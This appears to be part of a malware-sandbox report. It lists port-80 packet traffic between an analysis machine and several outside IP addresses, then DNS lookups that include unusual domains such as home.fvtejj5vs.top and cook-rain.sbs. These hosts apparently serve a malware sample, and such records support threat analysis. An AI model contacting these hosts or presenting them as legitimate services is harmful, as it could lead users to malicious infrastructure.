Nov 18, 2024 19:04:41.824374914 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.824399948 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.824695110 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.824707031 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.824717999 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.824743986 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.824769020 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.871855021 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.871910095 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.871927023 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.871934891 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.871943951 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.871958971 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.871958971 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.871973991 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.871990919 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.871993065 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872005939 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872019053 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872033119 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.872072935 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.872140884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872159958 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872173071 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872178078 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.872188091 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872199059 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872205973 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.872210026 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872221947 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872273922 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.872273922 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.872273922 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.872437000 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.872498035 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.874833107 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.874845982 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.874860048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.874912024 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.874913931 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.874926090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.875001907 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.883116961 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.883173943 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.883286953 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.884197950 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.891556025 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891575098 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891590118 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891648054 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.891648054 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.891659975 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891671896 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891685009 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891699076 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891710997 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.891730070 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.891755104 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.891870022 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891880989 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.891922951 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.892222881 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.892235994 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.892290115 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.892302036 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.892369986 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.892383099 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.892409086 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.892431021 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.893745899 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.893819094 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.893898010 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.893938065 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.918035030 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.918078899 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.918091059 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.918143034 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.918178082 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.939821959 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.939871073 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.939881086 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.939897060 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.939925909 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.939982891 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.939994097 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.940004110 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.940021038 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.940049887 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.940072060 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.940083027 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.940093040 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.940121889 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.940133095 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.940393925 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.940404892 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.940416098 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.940443993 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.940470934 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.950998068 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.951114893 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.951170921 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.951548100 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.951903105 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.951953888 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.204643965 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.204729080 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.204739094 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.204898119 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.204909086 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.204909086 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.204921007 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.204972982 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205008984 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205009937 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205034018 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205235958 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205249071 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205259085 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205275059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.205284119 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.205291033 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205311060 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205348015 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.205759048 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205769062 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205779076 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205789089 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205799103 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205800056 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205810070 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205820084 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205826998 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205831051 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205842018 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205852032 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205857038 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205868006 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205877066 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205878973 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205888987 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205898046 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205904007 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205909014 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.205929995 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.205948114 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.206728935 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.206739902 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.206784010 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.206954956 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.206964016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.206974030 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.206983089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.206991911 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.206999063 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207010984 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207011938 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.207020998 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207031012 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207052946 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.207058907 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207060099 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207071066 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207077026 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207079887 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207089901 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207098961 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207107067 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207117081 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207149029 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207670927 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207683086 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207694054 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207703114 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207711935 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207715034 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207721949 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207731962 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207732916 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207742929 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207751989 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207760096 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207763910 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207773924 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207781076 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207792044 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207792044 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207802057 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207809925 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207812071 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.207822084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.207830906 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207832098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.207840919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.207864046 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.207895994 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.228231907 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.228270054 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.228279114 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.228332043 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.228332043 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.254771948 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.254782915 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.254792929 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.254885912 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.255580902 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.255609035 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.255618095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.255685091 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.264822960 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.264974117 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.265045881 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.287305117 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.287322998 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.287332058 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.287389040 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.287415981 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.288825035 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.288904905 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.288955927 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.289473057 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.289484024 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.289493084 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.289503098 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.289522886 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.289546967 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.290302038 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.290364027 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.290374994 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.290419102 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.290513039 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.290522099 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.290532112 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.290555954 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.290574074 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.291203976 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.291214943 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.291224957 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.291234970 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.291249990 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.291290045 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.298861980 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.298872948 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.298886061 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.298918009 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.298933983 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.308582067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.309233904 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.309297085 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.309705019 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.310466051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:42.310631990 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:42.343568087 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.343653917 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.343741894 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.343790054 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.401994944 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.402031898 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.402041912 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.402090073 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.402112007 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.402354956 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.402374029 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.402415991 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.402494907 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.402532101 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.404580116 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.404623985 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.404628038 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.404639006 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.404658079 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.404673100 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:42.404753923 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.404763937 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.404774904 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:42.404789925 CET	49989	80	192.168.2.5	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 19:04:17.341703892 CET	192.168.2.5	1.1.1.1	0x45b3	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:17.341835022 CET	192.168.2.5	1.1.1.1	0xf20c	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 19:04:27.338422060 CET	192.168.2.5	1.1.1.1	0xa114	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:46.640043974 CET	192.168.2.5	1.1.1.1	0xc1e1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:46.640204906 CET	192.168.2.5	1.1.1.1	0x9b8f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 19:04:52.387509108 CET	192.168.2.5	1.1.1.1	0x3eb4	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:52.417478085 CET	192.168.2.5	1.1.1.1	0x56b5	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 19:04:54.312131882 CET	192.168.2.5	1.1.1.1	0xf77c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.319915056 CET	192.168.2.5	1.1.1.1	0xa828	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.350439072 CET	192.168.2.5	1.1.1.1	0x959	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.350626945 CET	192.168.2.5	1.1.1.1	0x49ff	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.369491100 CET	192.168.2.5	1.1.1.1	0x4483	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 18, 2024 19:04:54.369802952 CET	192.168.2.5	1.1.1.1	0xe1c5	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 19:04:55.187225103 CET	192.168.2.5	1.1.1.1	0x6fd	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:55.187513113 CET	192.168.2.5	1.1.1.1	0x9281	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:55.259403944 CET	192.168.2.5	1.1.1.1	0x1915	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:55.998815060 CET	192.168.2.5	1.1.1.1	0x23c9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.007030010 CET	192.168.2.5	1.1.1.1	0x6cc9	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.013031006 CET	192.168.2.5	1.1.1.1	0x61c5	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.024861097 CET	192.168.2.5	1.1.1.1	0x6c08	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 19:04:56.025016069 CET	192.168.2.5	1.1.1.1	0x38f6	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.025794983 CET	192.168.2.5	1.1.1.1	0xc7c6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.034778118 CET	192.168.2.5	1.1.1.1	0x5d13	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 19:04:56.036268950 CET	192.168.2.5	1.1.1.1	0xec7b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 19:04:58.488810062 CET	192.168.2.5	1.1.1.1	0xead1	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:58.500381947 CET	192.168.2.5	1.1.1.1	0x9aca	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:58.514669895 CET	192.168.2.5	1.1.1.1	0x8017	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 19:04:59.416101933 CET	192.168.2.5	1.1.1.1	0xc0f9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:05:11.358114958 CET	192.168.2.5	1.1.1.1	0x5657	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:05:11.358227968 CET	192.168.2.5	1.1.1.1	0xe0f2	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 19:05:11.991575956 CET	192.168.2.5	1.1.1.1	0xdce4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:05:11.991575956 CET	192.168.2.5	1.1.1.1	0xcabd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 19:05:19.367444038 CET	192.168.2.5	1.1.1.1	0x3c3b	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:05:19.367630005 CET	192.168.2.5	1.1.1.1	0x5fc9	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
